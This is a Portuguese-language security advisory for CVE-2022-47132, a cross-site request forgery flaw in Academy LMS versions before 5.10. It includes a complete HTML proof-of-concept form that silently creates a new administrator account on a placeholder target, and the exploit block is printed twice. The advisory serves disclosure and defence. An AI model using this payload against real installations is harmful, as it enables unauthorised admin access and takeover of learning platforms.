Academy LMS < 5.10 Permite Adicionar user Admin via CSRF

/

Descrição

O Academy LMS é uma aplicação onde pessoas conseguem criar e anunciar cursos. O recurso de adicionar um novo usuário administrativo se encontra vulnerável ao CSRF, sendo possível realizar o uso de uma engenharia social para ganhar acesso na plataforma.

Prova de Conceito (POC)

O primeiro passo para a nossa prova de conceito é autenticar na plataforma com usuário administrativo.

Use Imagem 1

Após isso, basta acessar a página que contém o código para a exploração da vulnerabilidade, e veja que um novo usuário administrativo foi adicionado no sistema.

Use Imagem 2

Código usado na exploração:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://target.com/academy/admin/admins/add" method="POST">
      <input type="hidden" name="first&#95;name" value="csrf" />
      <input type="hidden" name="last&#95;name" value="vinix" />
      <input type="hidden" name="biography" value="&lt;p&gt;csrf&#32;poc&lt;&#47;p&gt;" />
      <input type="hidden" name="files" value="" />
      <input type="hidden" name="user&#95;image" value="" />
      <input type="hidden" name="email" value="username" />
      <input type="hidden" name="password" value="password" />
      <input type="hidden" name="facebook&#95;link" value="" />
      <input type="hidden" name="twitter&#95;link" value="" />
      <input type="hidden" name="linkedin&#95;link" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://target.com/academy/admin/admins/add" method="POST">
      <input type="hidden" name="first&#95;name" value="csrf" />
      <input type="hidden" name="last&#95;name" value="vinix" />
      <input type="hidden" name="biography" value="&lt;p&gt;csrf&#32;poc&lt;&#47;p&gt;" />
      <input type="hidden" name="files" value="" />
      <input type="hidden" name="user&#95;image" value="" />
      <input type="hidden" name="email" value="username" />
      <input type="hidden" name="password" value="password" />
      <input type="hidden" name="facebook&#95;link" value="" />
      <input type="hidden" name="twitter&#95;link" value="" />
      <input type="hidden" name="linkedin&#95;link" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Versões Afetadas

Academy LMS - < 5.10

Pesquisador

Classificação

Type: Cross-Site Request Forgery
OWASP TOP 10: A01:2021 - Broken Access Control
CWE: CWE-352: Cross-Site Request Forgery (CSRF)
Type: Cross-Site Request Forgery
OWASP TOP 10: A01:2021 - Broken Access Control
CWE: CWE-352: Cross-Site Request Forgery (CSRF)

CVE

CVE-2022-47132

Referencias

Edit on GitHub